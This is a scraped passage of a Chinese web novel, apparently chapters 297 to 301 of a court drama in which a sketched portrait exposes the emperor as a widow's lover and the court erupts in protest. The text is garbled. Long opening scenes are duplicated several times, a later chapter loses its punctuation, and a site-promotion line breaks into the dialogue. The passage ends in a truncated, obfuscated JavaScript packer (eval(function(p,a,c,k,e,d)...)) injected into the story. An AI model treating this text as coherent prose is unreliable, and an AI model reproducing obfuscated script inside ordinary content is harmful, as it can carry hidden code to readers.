随着戚倩蓉描述完,申元恺落下最后一笔。 “画好了。”他说。 围在边上的士子们迫不及待地凑过去看。 有人脱口而出:“倒是一副好相貌,只可惜是个衣冠禽兽!” “拿过来,让本王看看。” 姜成的声音不高,却让所有人安静下来。 画像被恭恭敬敬递到他面前。 姜成接过,低头看去,一旁的崔古和邹子墨也偏过头去看。 待看清画中人的长相,三人都有些许的失神。 三人的反应,让堂外的士子们更加好奇。 “到底是谁啊?让我们看看!” “就是!别光你们几个看!” 就在这时,沁芳忽然上前一步将画像拿了过来,低头细看。 她看了一眼那张画像,脸色瞬间变得煞白,然后猛地转过身,对着戚倩蓉厉声道: “怎么会是皇上?!这怎么可能!戚氏,是不是有人指使你这么做?!故意诬陷皇上?说,是谁指使的?!” 她的声音尖厉,像一把刀,划破了彝伦堂的寂静。 所有人都愣住了。 那张画像是……皇上? 没有人说话。 没有人动。 天气更加阴沉,风起,从敞开的门吹进来,吹得案上的宣纸哗哗作响,雨终于要下了。 燕奉眼睛一亮,猛地转向人群: “申兄!申兄何在?” 人群中一阵骚动,一个清瘦的士子被人推了出来。 “这是申元恺申兄,咱们国子监的丹青第一!”燕奉拉着他的袖子,把他拽到前面,“申兄,你来说,若是让这位姑娘口述,你能不能把那人画下来?” 申元恺看了看戚倩蓉,又看了看燕奉,点了点头:“只要描述得够细,便能画。” “太好了!”燕奉一拍大腿,转身对着堂上的姜成拱手道,“王爷!这位姑娘既然认得那奸夫,不如让她口述,申兄作画!也叫大家看看,如此寡廉鲜耻之人,到底长什么样子!” 姜成眉头微皱,正要开口,堂外的士子们已经沸腾起来: “对!画出来!” “让大家都看看!” “看看到底是什么人,敢做出这种事!” 姜成与邹子墨交换了一个眼神,正欲作答,一旁的沁芳已经张开说道:“这倒是个好办法,如此一来,人证物证俱在,也不会冤枉了谁。那就请这位申士子作画吧,早些知道是谁,我也好给太后娘娘回话。” “也罢。来人,备纸、笔、墨。” 国子监最不缺的就是这些东西。很快,一张长桌被抬到堂中央,上好的澄心纸铺开,松烟墨研好,几支大小不一的毛笔一字排开。 申元恺走到桌前,提起笔,看向戚倩蓉: “姑娘,你慢慢说。先说脸型。” 戚倩蓉闭上眼睛,像是在回忆那夜的场景。 她确实在回忆。 回忆杨夫人给她看的那幅画像。 “脸型……是长方脸,下巴微方,有点翘。” 申元恺的笔尖落在纸上,轻轻勾勒。 “眉毛呢?” “眉毛很浓,眉峰很高,不是弯弯的那种,是剑眉,有点往上挑。” 笔尖移动。 …… 堂内外一片寂静。 所有人都在屏息看着那张画像一点一点成形。 随着戚倩蓉描述完,申元恺落下最后一笔。 “画好了。”他说。 围在边上的士子们迫不及待地凑过去看。 有人脱口而出:“倒是一副好相貌,只可惜是个衣冠禽兽!” “拿过来,让本王看看。” 姜成的声音不高,却让所有人安静下来。 画像被恭恭敬敬递到他面前。 姜成接过,低头看去,一旁的崔古和邹子墨也偏过头去看。 待看清画中人的长相,三人都有些许的失神。 三人的反应,让堂外的士子们更加好奇。 “到底是谁啊?让我们看看!” “就是!别光你们几个看!” 就在这时,沁芳忽然上前一步将画像拿了过来,低头细看。 她看了一眼那张画像,脸色瞬间变得煞白,然后猛地转过身,对着戚倩蓉厉声道: “怎么会是皇上?!这怎么可能!戚氏,是不是有人指使你这么做?!故意诬陷皇上?说,是谁指使的?!” 她的声音尖厉,像一把刀,划破了彝伦堂的寂静。 所有人都愣住了。 那张画像是……皇上? 没有人说话。 没有人动。 天气更加阴沉,风起,从敞开的门吹进来,吹得案上的宣纸哗哗作响,雨终于要下了。 燕奉眼睛一亮,猛地转向人群: “申兄!申兄何在?” 人群中一阵骚动,一个清瘦的士子被人推了出来。 “这是申元恺申兄,咱们国子监的丹青第一!”燕奉拉着他的袖子,把他拽到前面,“申兄,你来说,若是让这位姑娘口述,你能不能把那人画下来?” 申元恺看了看戚倩蓉,又看了看燕奉,点了点头:“只要描述得够细,便能画。” “太好了!”燕奉一拍大腿,转身对着堂上的姜成拱手道,“王爷!这位姑娘既然认得那奸夫,不如让她口述,申兄作画!也叫大家看看,如此寡廉鲜耻之人,到底长什么样子!” 姜成眉头微皱,正要开口,堂外的士子们已经沸腾起来: “对!画出来!” “让大家都看看!” “看看到底是什么人,敢做出这种事!” 姜成与邹子墨交换了一个眼神,正欲作答,一旁的沁芳已经张开说道:“这倒是个好办法,如此一来,人证物证俱在,也不会冤枉了谁。那就请这位申士子作画吧,早些知道是谁,我也好给太后娘娘回话。” “也罢。来人,备纸、笔、墨。” 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随着戚倩蓉描述完,申元恺落下最后一笔。 “画好了。”他说。 围在边上的士子们迫不及待地凑过去看。 有人脱口而出:“倒是一副好相貌,只可惜是个衣冠禽兽!” “拿过来,让本王看看。” 姜成的声音不高,却让所有人安静下来。 画像被恭恭敬敬递到他面前。 姜成接过,低头看去,一旁的崔古和邹子墨也偏过头去看。 待看清画中人的长相,三人都有些许的失神。 三人的反应,让堂外的士子们更加好奇。 “到底是谁啊?让我们看看!” “就是!别光你们几个看!” 就在这时,沁芳忽然上前一步将画像拿了过来,低头细看。 她看了一眼那张画像,脸色瞬间变得煞白,然后猛地转过身,对着戚倩蓉厉声道: “怎么会是皇上?!这怎么可能!戚氏,是不是有人指使你这么做?!故意诬陷皇上?说,是谁指使的?!” 她的声音尖厉,像一把刀,划破了彝伦堂的寂静。 所有人都愣住了。 那张画像是……皇上? 没有人说话。 没有人动。 天气更加阴沉,风起,从敞开的门吹进来,吹得案上的宣纸哗哗作响,雨终于要下了。 燕奉眼睛一亮,猛地转向人群: “申兄!申兄何在?” 人群中一阵骚动,一个清瘦的士子被人推了出来。 “这是申元恺申兄,咱们国子监的丹青第一!”燕奉拉着他的袖子,把他拽到前面,“申兄,你来说,若是让这位姑娘口述,你能不能把那人画下来?” 申元恺看了看戚倩蓉,又看了看燕奉,点了点头:“只要描述得够细,便能画。” “太好了!”燕奉一拍大腿,转身对着堂上的姜成拱手道,“王爷!这位姑娘既然认得那奸夫,不如让她口述,申兄作画!也叫大家看看,如此寡廉鲜耻之人,到底长什么样子!” 姜成眉头微皱,正要开口,堂外的士子们已经沸腾起来: “对!画出来!” “让大家都看看!” “看看到底是什么人,敢做出这种事!” 姜成与邹子墨交换了一个眼神,正欲作答,一旁的沁芳已经张开说道:“这倒是个好办法,如此一来,人证物证俱在,也不会冤枉了谁。那就请这位申士子作画吧,早些知道是谁,我也好给太后娘娘回话。” “也罢。来人,备纸、笔、墨。” 国子监最不缺的就是这些东西。很快,一张长桌被抬到堂中央,上好的澄心纸铺开,松烟墨研好,几支大小不一的毛笔一字排开。 申元恺走到桌前,提起笔,看向戚倩蓉: “姑娘,你慢慢说。先说脸型。” 戚倩蓉闭上眼睛,像是在回忆那夜的场景。 她确实在回忆。 回忆杨夫人给她看的那幅画像。 “脸型……是长方脸,下巴微方,有点翘。” 申元恺的笔尖落在纸上,轻轻勾勒。 “眉毛呢?” “眉毛很浓,眉峰很高,不是弯弯的那种,是剑眉,有点往上挑。” 笔尖移动。 …… 堂内外一片寂静。 所有人都在屏息看着那张画像一点一点成形。 随着戚倩蓉描述完,申元恺落下最后一笔。 “画好了。”他说。 围在边上的士子们迫不及待地凑过去看。 有人脱口而出:“倒是一副好相貌,只可惜是个衣冠禽兽!” “拿过来,让本王看看。” 姜成的声音不高,却让所有人安静下来。 画像被恭恭敬敬递到他面前。 姜成接过,低头看去,一旁的崔古和邹子墨也偏过头去看。 待看清画中人的长相,三人都有些许的失神。 三人的反应,让堂外的士子们更加好奇。 “到底是谁啊?让我们看看!” “就是!别光你们几个看!” 就在这时,沁芳忽然上前一步将画像拿了过来,低头细看。 她看了一眼那张画像,脸色瞬间变得煞白,然后猛地转过身,对着戚倩蓉厉声道: “怎么会是皇上?!这怎么可能!戚氏,是不是有人指使你这么做?!故意诬陷皇上?说,是谁指使的?!” 她的声音尖厉,像一把刀,划破了彝伦堂的寂静。 所有人都愣住了。 那张画像是……皇上? 没有人说话。 没有人动。 天气更加阴沉,风起,从敞开的门吹进来,吹得案上的宣纸哗哗作响,雨终于要下了。 燕奉眼睛一亮,猛地转向人群: “申兄!申兄何在?” 人群中一阵骚动,一个清瘦的士子被人推了出来。 “这是申元恺申兄,咱们国子监的丹青第一!”燕奉拉着他的袖子,把他拽到前面,“申兄,你来说,若是让这位姑娘口述,你能不能把那人画下来?” 申元恺看了看戚倩蓉,又看了看燕奉,点了点头:“只要描述得够细,便能画。” “太好了!”燕奉一拍大腿,转身对着堂上的姜成拱手道,“王爷!这位姑娘既然认得那奸夫,不如让她口述,申兄作画!也叫大家看看,如此寡廉鲜耻之人,到底长什么样子!” 姜成眉头微皱,正要开口,堂外的士子们已经沸腾起来: “对!画出来!” “让大家都看看!” “看看到底是什么人,敢做出这种事!” 姜成与邹子墨交换了一个眼神,正欲作答,一旁的沁芳已经张开说道:“这倒是个好办法,如此一来,人证物证俱在,也不会冤枉了谁。那就请这位申士子作画吧,早些知道是谁,我也好给太后娘娘回话。” “也罢。来人,备纸、笔、墨。” 国子监最不缺的就是这些东西。很快,一张长桌被抬到堂中央,上好的澄心纸铺开,松烟墨研好,几支大小不一的毛笔一字排开。 申元恺走到桌前,提起笔,看向戚倩蓉: “姑娘,你慢慢说。先说脸型。” 戚倩蓉闭上眼睛,像是在回忆那夜的场景。 她确实在回忆。 回忆杨夫人给她看的那幅画像。 “脸型……是长方脸,下巴微方,有点翘。” 申元恺的笔尖落在纸上,轻轻勾勒。 “眉毛呢?” “眉毛很浓,眉峰很高,不是弯弯的那种,是剑眉,有点往上挑。” 笔尖移动。 …… 堂内外一片寂静。 所有人都在屏息看着那张画像一点一点成形。 随着戚倩蓉描述完,申元恺落下最后一笔。 “画好了。”他说。 围在边上的士子们迫不及待地凑过去看。 有人脱口而出:“倒是一副好相貌,只可惜是个衣冠禽兽!” “拿过来,让本王看看。” 姜成的声音不高,却让所有人安静下来。 画像被恭恭敬敬递到他面前。 姜成接过,低头看去,一旁的崔古和邹子墨也偏过头去看。 待看清画中人的长相,三人都有些许的失神。 三人的反应,让堂外的士子们更加好奇。 “到底是谁啊?让我们看看!” “就是!别光你们几个看!” 就在这时,沁芳忽然上前一步将画像拿了过来,低头细看。 她看了一眼那张画像,脸色瞬间变得煞白,然后猛地转过身,对着戚倩蓉厉声道: “怎么会是皇上?!这怎么可能!戚氏,是不是有人指使你这么做?!故意诬陷皇上?说,是谁指使的?!” 她的声音尖厉,像一把刀,划破了彝伦堂的寂静。 所有人都愣住了。 那张画像是……皇上? 没有人说话。 没有人动。 天气更加阴沉,风起,从敞开的门吹进来,吹得案上的宣纸哗哗作响,雨终于要下了。 第298章 揽下来 有人小声嘀咕:“怎……怎么会是皇上?申兄画的,真的是皇上吗?” 另一个接道:“戚姑娘怎么敢污蔑皇上?她应该都没有机会见过皇上吧,莫非……莫非是人有相像?” 有人开始往后缩,有人低下头,有人悄悄往外挪。 可也有不少人,从震惊中回过神来,开始追问身边出身贵族的同窗: “张兄,你不是说你去宫里参加宴会,曾见过皇上,你说,这画像像不像皇上?” 被问的那人脸色发白,支支吾吾不肯回答。 可他的沉默,就是回答。 “戚姑娘不过一介平民,若不是亲眼所见,如何能描述出皇上的样貌?” “对啊!她要是没见过,怎么可能画得这么像?” “可她怎么会见过皇上?除非……” 没有人把后面的话说完。 可那个答案,已经在每个人心里浮现。 “这下完了。”有人小声说,“怕是宗人府和都察院都不敢审这案子了吧?” “审?怎么审?审谁?还没听说谁家审皇帝的呢?” “那这位姑娘怎么办?” …… 议论声越来越大,像潮水一样涌来。 就在这时,戚倩蓉忽然“哇”的一声哭了出来。 她伏在地上,浑身发抖,哭得上气不接下气: “我……我不知道那人是皇上……我真的不知道……” 她挣扎着爬起来,踉跄着就要往外跑:“我……我不告了……我不告了……” 她的声音嘶哑,满脸泪痕,额头上的血还没干,又添了新泪,整个人显得很是狼狈又可怜。 可燕奉一把拉住了她。 “先别走!” 戚倩蓉被他拽得一个踉跄,差点摔倒。她回过头,泪眼婆娑地看着他,嘴唇哆嗦着:“公……公子……” 燕奉的胸膛剧烈起伏着,他看了戚倩蓉两眼,松开了手,后退一步。转身双膝一弯,跪在了彝伦堂前冰冷的青砖上。 燕奉跪在地上,抬起头,面朝堂上的姜成和邹子墨等人,声音嘶哑吼道:“王爷!学生有一言,今日必须要讲!学生虽不才,却也读过几年书。知道什么叫‘君不正,臣投外国’,知道什么叫‘父不正,子奔他乡’。” 他的声音越来越高: “今日之事,若连宗人府都不敢审,若连王爷您都不敢接——百姓的冤屈,还有什么指望陈清?!若天子可夺人妻、害人命而不受诘问,那这大周律法,不过是写给百姓看的笑话!” 这番话像一把火,丢进了干柴堆里。 “对!”有人高声应和,“即便是皇上,也不能这般欺辱人!” “皇上怎么了?皇上就能睡人家媳妇、害人家性命?!” “今日他敢夺人妻!后日就敢杀忠良!这天下还有没有王法?!” “我们要一个公道!” “给戚姑娘一个公道!” 一个接一个,士子们纷纷跪倒。黑压压一片,如麦浪伏地,跪在姜成、邹子墨、崔古面前 姜成站在堂上,看着这一幕,他的手在袖中微微发抖。他知道,今日这事,小不了了。 姜成正想着对策,忽然—— 沁芳动了。 她上前一步,走到戚倩蓉跟前。 戚倩蓉还伏在地上,浑身发抖,哭得上气不接下气。 就在这时,一双手伸过来,扶住了她的胳膊。 那双手很软,带着淡淡的香气。 戚倩蓉抬起头,对上一双温和的眼睛。 是沁芳。 那个方才厉声质问她的太后宫女,此刻正弯着腰,亲手扶她起来。 “姑娘,地上凉,起来说话。” 戚倩蓉愣住了。 沁芳把她扶起来,让她站稳,又从袖中取出一块帕子,递给她。 “擦擦脸。” 戚倩蓉接过帕子,手还在抖。 沁芳看着她,轻轻叹了口气。她的声音不高,却清清楚楚传进每个人耳中: “诸位稍安勿躁。” 堂内堂外,所有人都安静下来,看着她。 沁芳的目光从那些跪着的士子脸上扫过,又从姜成、邹子墨、崔古脸上扫过,最后落回戚倩蓉身上。 沁芳稍稍提高声音,让周围的人都听见: “皇上圣明一世,登基这几年,勤政爱民,从无大错。依我看,定是被那起子狐媚子迷了心窍,才做下这等糊涂事。” “众位也别为难裕王和邹大人,待我将此事禀明太后,若是事情属实,皇上一定会给大家一个交代的。” 姜成心中大定,太后娘娘愿意揽下此事才好。 这案子牵扯到皇上,宗人府怎么审?都察院怎么判?大理寺怎么定?无论怎么走,都是死路一条。 可太后娘娘出面就不一样了。 此事若由太后以“家事”处置,则可大事化小,小事化无——毕竟,慈宁宫一道懿旨,便可将薛嘉言“赐死”或“出家”,既平息舆论,又保全皇帝颜面。 堂外的士子们听了沁芳这番话,也都放心不少。 “有太后娘娘做主,那就好办了!” 有人还是有些不放心,看向邹子墨道:“邹大人!您身为御史,难道就此袖手旁观?” 邹子墨冷然立于阶上,袍袖猎猎,声音如铁:“天子失德,臣子当死谏!倘若陛下处置不当,或太后有意回护——本官定然直言上谏!” “好!好!” 士子们欢呼着。 “诸位!” 燕奉扬起声音,压过了所有的嘈杂。 所有人都安静下来,看着他。 燕奉深吸一口气,高声道:“今日之事,咱们都看见了!那张画像,那些物证,那位姑娘的冤屈——咱们都看见了!” “这位女官说了,太后娘娘会给交代!可万一——万一太后娘娘的回护呢?万一陛下处置不当呢?” 他的声音越来越高: “他日,若这件事处置不公,诸位可愿与我一道——” 他顿了顿,忽然扬起手,指向午门的方向: “联名上书,直叩午门?!” 士子们没有马上回答,互相看了看对方。 “愿意!” 有人第一个喊了出来。 “愿意!愿意!” 更多的人跟着喊了起来。 “咔嚓!” 天上忽然响起一声惊雷,像是要把天捅出个窟窿来,雨终于哗啦啦地下起来了。 第299章 顺了她的意 与此同时,长宜宫。 雨声沙沙,宫殿檐角积聚下水滴,落到廊下青砖地上,一声声,如更漏催人。 姜玄斜倚在紫檀罗汉床上,听苗菁垂手仔细禀告了国子监集贤门和彝伦堂的动静。 “皇上,可要将戚氏拿了,关押起来,细细审问?她一介无知妇人,背后定是有人指使,才敢这般行事。” 姜玄沉默片刻,忽而轻笑:“不必。” 他抬眼,眸中无怒,反有几分兴味:“她既然要将这件事大白于天下,那便顺了她的意。朕倒要看看——” 姜玄顿了顿,冷冷道:“这满朝朱紫,还有多少人,是她宋家的应声虫?” 说罢,他招手唤苗菁近前,低声吩咐了几句。苗菁神色微变,随即躬身:“臣明白,这就去办。” 当夜,宫门落钥前,一乘青帷马车从玄武门出,直奔戚家。 戚府后院,一场秋雨打落满树桂子,淡淡的泥土腥气中混着残存的桂子香,亮灯的内室,能看到有人坐在窗前,半晌一动没动。 薛嘉言托腮坐在窗前的软榻上,眼神怔怔看着前方,不知在想着什么。耳畔忽传来熟悉的脚步声,她未抬头,只轻声道:“你来了。” 姜玄将斗篷解下来,随手扔给张鸿宝,摆摆手让他出去。待听到门关的声音后,他几步上前,从背后将薛嘉言搂入怀中。 两人静静抱了一会,薛嘉言扭过身子,双手紧搂住他的腰,贴着他的胸膛,脑袋搁在他肩膀上,她喜欢这样与他紧紧依偎。 姜玄蹭了蹭薛嘉言的脖子,叹息一声,声音微哑着问道:“言言,你怕吗?” 薛嘉言轻轻摇头:“不怕。” 姜玄微微一怔,低头看她:“当真不怕?明日朝堂之上,朝官们怕是要沸反盈天;街头巷尾,会用最恶毒的语言咒骂你……你真不怕?” 薛嘉言仰头望着他,烛光映在她眼中,平静如深潭:“不怕。” 她不能告诉姜玄,这些没什么可怕的,前世又不是没有经历过。 长宁宫高台上,太后指着她,鄙夷喝道:“此女妖媚惑主,引诱天子失德,罪不容诛!” 所有人看她如同看一件脏物,连她的棠姐儿,都被婆母抱走,高喊着“你娘淫贱,怎配养你!” …… 那场羞辱,比死更痛。 如今,骂名又要来了,可她已不是原先那个薛嘉言了。 姜玄喉头微动,将她搂得更紧。良久,他低声道: “你看,前阵子苗菁与郭氏的事情闹得满城风雨,茶楼酒肆日日编排,那出《雪中冤》都演了不知多少回。” 他苦笑一声:“可今日咱们的事一出来,谁还记得他们那点事?” 他捧起她的脸,目光灼灼:“言言,再忍一忍。等这场火烧尽那些藏在暗处的蛇鼠,朕便让你堂堂正正站在光下。辛苦你了,委屈你了。” 姜玄从戚家出来时,夜色已经很深了。 雨已经停了,马车辘辘地驶过长街,月光照在青石板上,白惨惨的,像是铺了一层霜。 刚走进长宜宫,陆怀就迎了上来。 “陛下,裕王爷带着宗人府几位老王爷求见,已经等了一个多时辰了。” 姜玄脚步未停,径直往里走。 “拒了。” 陆怀愣了一下:“陛……陛下?” 姜玄头也不回: “就说朕体乏,今日不见任何人。” 陆怀张了张嘴,没敢再问,转身出去传话了。 姜玄走进寝殿,唤人准备水,他要沐浴。 不多时,陆怀又进来了。 “陛下,礼部、监察院的几位大人也来了,说是有要事求见……” 姜玄一边脱外裳,一边不耐烦道:“拒了。” 与此同时,长乐宫里灯火通明。 太后靠在软榻上,手里捧着一盏茶,慢条斯理地品着。 沁芳侍立在一旁,把长宜宫那边的消息一五一十禀报了。 “皇上又去了戚家,进了长宜宫后便没再出来。裕王带着几位老王爷求见,接着又是礼部和监察院的大人们求见,都被拒了。” 太后听完,把茶盏放下,拿起帕子擦了擦嘴角,冷笑一声,问道:“他没有提要来见哀家?” 沁芳低下头:“没有。” “好。”她说,“好得很。” 太后的目光落向窗外,长宜宫的方向。 “他越是这样,哀家越放心。”太后说,“他若是不在乎那个女人,哀家还不好办。可他偏偏在乎,在乎的不得了。” 她顿了顿,嘴角的弧度更深了:“有了在乎的人,就有软肋。哀家倒要看看,他能忍到何时。” 窗外,月光照进来,照在她脸上,照得那双眼睛幽深得像一口井。 “去吧,皇上失德,朝臣们自该谏言,咱们先看看皇帝的态度。” 次日·京城 不过一夜功夫,关于“君夺臣妻”的流言已经生了翅膀,飞遍了京城的酒肆茶寮。 元宝胡同戚家门前,原本清冷的街巷,如今被姜玄派去的侍卫守得水泄不通。玄甲重剑在日光下泛着寒意,震慑着那些不怀好意的目光。 “呸!真是污了咱们这一带的地界!”一名汉子拎着一篮臭鸡蛋,满面通红地想往围墙上砸,却被身旁的老者死死拽住。 “你作死呢!那里面住的可是圣上的心尖宠!那些侍卫的刀可不认人,你不要脑袋了?” 那壮汉愤愤不平地啐了一口:“皇帝怎么了?皇帝也得讲理!皇帝也得听他母亲的话!太后娘娘可是当众说了,要替戚姑娘做主,保定戚家了。” “也是,戚大人在天有灵,连老天都看不下去那对奸夫淫妇了!” 那拎着鸡蛋的人又要往上冲,可侍卫的长枪往前一伸,他就不敢动了。 “都散了!”一个侍卫头领厉声道,“再敢靠近,格杀勿论!” 人群往后退了几步,可没人散去。 他们只是退到远处,继续看着,继续议论着。 “呸!神气什么,那个薛氏,早晚得死!” “就是,有太后娘娘撑腰,就是有宋家撑腰,难道皇帝还为了个寡妇跟太后翻脸不成。” …… 这种声音在街巷里此起彼伏,而薛嘉言的名字,则成了“祸水”与“淫妇”的代名词。 第300章 梦魇 戚家的院墙很高,有这么多侍卫守着,这些声音自然传不进去。 薛嘉言坐在窗前,今日阳光很好,照得满院子亮堂堂的,她抱着宁哥儿在软榻上晒着太阳玩耍,她的脸上很平静,平静得像是外面的那些风风雨雨,跟她毫无关系。 可一旁伺候着的拾英和司雨,却看得心里直发紧。 一旁伺候着的拾英和司雨都有些担心,看着薛嘉言平静的面庞,以为她这是在强撑着,拾英斟酌了一句,刚开口便被薛嘉言打断了:“没事的,我没放在心上,放心吧,该做什么就做什么,天啊,塌不下来。” 那些流言,薛嘉言知道。那些骂名,她也知道。前世经历过一次,已经有经验了。 薛嘉言只是有些疑虑,太后为什么会支持戚倩蓉? 太后是支持姜玄登基的,是看着他长大的。两人虽不是亲生母子,毕竟是有着名份在的,这一世与前世不同,姜玄甚至娶了宋家四姑娘为妃子,太后到底还有什么不满意的呢? 她虽与姜玄有私情,可目前为止,姜玄并没有给她名份,她对于整个朝堂,对于宋家,都没有任何威胁。 为了她,太后娘娘同姜玄闹翻,好像并不划算啊? 薛嘉言想了很久,也没有想明白。 她只知道,太后和姜玄之间,一定发生了什么,发生了一些她不知道的事。她心里,隐隐有一丝不安。 宁哥儿在薛嘉言怀里玩了一会儿,渐渐没了精神。小家伙打了个哈欠,眼睛眯成一条缝,小脑袋往她怀里拱了拱,不一会儿就睡着了。 薛嘉言低头看着他,看着那张睡得香甜的小脸,心里软得一塌糊涂。 她轻轻把他放平,给他盖上小被子,自己也靠在软枕上。 她本来只是想闭着眼睛歇一会儿,可那窗外暖阳照在身上,像一只手,轻轻把她推进了梦乡。 这一觉,睡得极沉。 却也极不安稳。 神识像被什么东西牵引着,一点一点坠入了一片迷雾之中。 她又梦回皇宫,梦里的皇宫比现实中更显得空旷死寂。 薛嘉言似一缕幽魂,掠过长长的甬道,进入了一处富贵而沉寂的宫殿,不是她熟悉的长宜宫。 她飘着,飘着,穿过一道又一道门,走过一条又一条回廊。 然后,她停在了一座大殿前,殿门虚掩着,里面透出一点昏黄的光,隔着门,她听见了似乎有人在说话。 薛嘉言飘了进去。 殿内很暗,只有几盏烛台在角落里燃烧,火光摇摇晃晃,把那些垂落的纱幔照得忽明忽暗。那些纱幔一层又一层,重重叠叠,像死人的经幡,在看不见的风里轻轻飘动。 她穿过那些纱幔。 一重。 两重。 三重。 然后,她听见了一个声音。 那声音,让她的血液瞬间凝固。 “戚少亭——” 薛嘉言浑身血液瞬间凝固,她猛地撩开纱帘,瞳孔骤然缩紧。 就在阴暗的大殿内,本该早已烂成枯骨的戚少亭,竟活生生地坐在一张交椅上!他穿着紫红色官袍,对着上首的人笑得极尽谄媚。 而那上首坐着的,正是太后。她穿着一身暗紫色凤袍,在昏暗中几乎与阴影融为一体。 薛嘉言只觉一股凉气从脚底直冲天灵盖。 戚少亭这一世到死不过是鸿胪寺丞,他何德何能,竟能穿着三品服色,在这禁宫深处,与只手遮天的太后对坐? “戚少亭!你在这里做什么?!” 薛嘉言撕心裂肺地吼叫着,冲上前去想要撕碎这荒谬的画面。可她就像是一团空气,手掌穿过戚少亭的身影,带不起一丝波澜。 戚少亭完全无视了她的存在。 他正对着太后说话,脸上带着一种她从未见过的笑容——是谄媚,是卑微,是那种恨不得跪下去舔对方鞋底的讨好。 “……臣定不辱命!” 他的声音,清晰地传入薛嘉言耳中。 定不辱命? 什么命? 薛嘉言看向太后。 太后从宽大的袖袍中缓缓取出一物。 那是一只铜制的圆盒,铜盒不大,比巴掌略小些。盒身上刻着一些薛嘉言看不懂的文字,弯弯曲曲,像虫子爬过的痕迹。在昏暗的烛光下,那铜盒泛着冷幽幽的光。 太后将圆盒递了过去,声音轻飘飘的:“这东西可金贵得很,你可拿稳了。” 戚少亭颤抖着双手接过那铜盒。 他的手指触碰到盒身的一刹那,嘴角的笑容越发扭曲——像是兴奋,又像是恐惧,还夹杂着一种薛嘉言读不懂的东西。 太后继续说道:“办好了,你戚家一门荣耀,指日可待。” 戚少亭捧着那铜盒,深深低下头去: “臣,叩谢太后娘娘恩典!” 薛嘉言死死盯着那只铜盒。 那是什么? 为什么会让她心里这么难受? 她拼命往前飘,想要看清那些刻在盒身上的文字—— 就在这一刹那。 心口处忽然传来一阵剧痛。 像被针狠狠扎入,又像被人用手攥住,用力拧。 那痛太剧烈,太突然,瞬间将她的意识搅得粉碎。眼前的一切开始扭曲、崩塌。太后、戚少亭、那座大殿——全都化作碎片,被黑暗吞没,窒息感如潮水般涌来。 “哇——!” 一旁的宁哥儿忽然放声大哭,婴儿刺耳的哭声穿透了薛嘉言混沌的梦境,她一下子清醒过来。 薛嘉言猛地从软枕上弹起,整个人如同从水里捞出来一般,冷汗浸透了中衣。 她大口大口地喘息着,梦里那种心碎的余痛竟然还没有散去,让她每一次呼吸都牵扯着肺腑,疼得厉害。 “宁哥儿不哭……娘在呢……” 薛嘉言轻轻拍着宁哥儿的后背,尽力安抚着梦魇的小小孩儿。 这时奶娘和司雨听到动静都进来伺候,奶娘抱走了宁哥儿喂奶、安抚,司雨则去端水伺候薛嘉言梳洗。 薛嘉言怔怔坐着,试图安慰自己:戚少亭不过是个烂泥里的小人物,怎么可能见得到太后?便是前世,他是因为献妻得了高官,也没有得到太后的垂青。这定是因为太后最近力挺戚家,自己日有所思夜有所梦,才生出这等荒唐的情景。 梳洗过后,薛嘉言心还是惴惴的,鬼使神差,她拿起画笔,将梦境中那个铜盒的模样画了下来。 第301章 处死她! 这两日京城早已成了是非之地茶余饭后尽是“君夺臣妻”的香艳与阴谋。 所有人都在等等龙椅上那个男人的一句解释亦或是雷霆一怒。 可姜玄稳坐如山批红、召见、议事仿佛不知道这满城风雨。 这日下朝的钟声即将敲响就在众臣准备低头退去时邹子墨站了出来声音在这空旷的殿宇内激起阵阵回响:“启禀陛下敢问有关陛下与薛氏私通、害死戚少亭的事情流言已传遍京师陛下为何至今不回应?” 姜玄闻言深邃的黑眸微微眯起蹙起眉头语气带着一丝漫不经心:“子虚乌有的事情朕回应什么?难道朕要为了市井泼皮的妄语特意下一道罪己诏不成?” 邹子墨丝毫不退双手高举笏板:“戚氏有证物在此宗人府宗令裕王爷与国子监千名学子亲眼所见。陛下 姜玄看着这个“轴”得出奇的御史语调平缓地抛出一枚惊雷: “朕的确与薛氏有情。” “轰——!” 大殿内像是滚油里泼了冷水瞬间炸开了锅压抑不住的惊呼与密集的私语。 站在武将之列的肃国公薛嘉聿在听到这句话时只觉浑身血液瞬间冲向脑门那张常年冷肃的脸变得青白交替。 “肃静!”大太监陆怀挥动拂尘尖利的嗓音压过了众人的嘈杂。 待众臣再次噤声姜玄才不紧不慢地再次开口他换了个舒服些的姿势坐着目光扫过那一脸正气的邹子墨冷冷道:“不过那是戚少亭死后的事情了。朕贵为天子若真想要个女人即便她是命妇朕也有千百种法子让他们和离甚至能让戚少亭自个儿乖乖把人送进宫来。” 他冷笑一声声量拔高震慑全场:“朕怎会因为这点小事就费尽心思地去害死一个微不足道的鸿胪寺丞?戚氏说什么你就信什么?她是受了谁的指使又是为了谁的利益你这脑子若是转不过弯朕倒真替大周的都察院忧心。” 姜玄站起身居高临下地逼视着邹子墨: “回头有人告朕****你是不是也信?告朕谋反你是不是也信?邹子墨人光有忠肝赤胆可不行还要动动脑子!” 邹子墨被噎得满脸通红嘴唇哆嗦着。他觉得皇帝这话里全是漏洞可那股属于上位者的强横逻辑他一时半会还真不知道怎么反驳。 他想说“圣德有亏”可皇帝会他有男欢女爱的自由 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ;他想说“谋财害命”,皇帝说戚少亭不配让他动这心思。 就在这凝滞的气氛中,礼部侍郎窦和风从朝臣队列中走出,躬身行礼时,神色凛然,语气铿锵有力:“陛下谬矣!什么叫‘死后有情’?薛氏乃戚少亭遗孀,夫丧未过,孝期未满,当守**之本分,清心寡欲,以全贞洁之名!陛下乃万民之父,九五之尊,执掌天下礼教纲常,明知其夫新丧、却仍与其私通,这便是坏人名节,更是罔顾纲纪、亵渎礼教!此举毁的不是薛氏一人之名,乃是我大周传承百年的礼教根基!若天下男子皆效仿陛下,视孝期贞洁为无物,视礼教纲常为草芥,那这世间还有何廉耻可言?还有何秩序可守?” 窦和风素来以礼教自居,此番开口,算是恪守本职。 窦和风这番话引得不少恪守礼教的朝臣纷纷点头附和,低声称是。 龙椅之上,姜玄面沉如水,周身的威压瞬间冷了几分,墨色的眼眸沉沉地落在窦和风身上,却一言不发。 见姜玄沉默不语,窦和风的底气愈发足了几分,正要再开口进谏,监察御史宋怀安已然快步出列,躬身叩首,语气激愤道:“陛下,臣有本奏!臣今日听闻,陛下竟遣禁军精锐,暗中护卫薛氏居所,日夜看守,不许外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 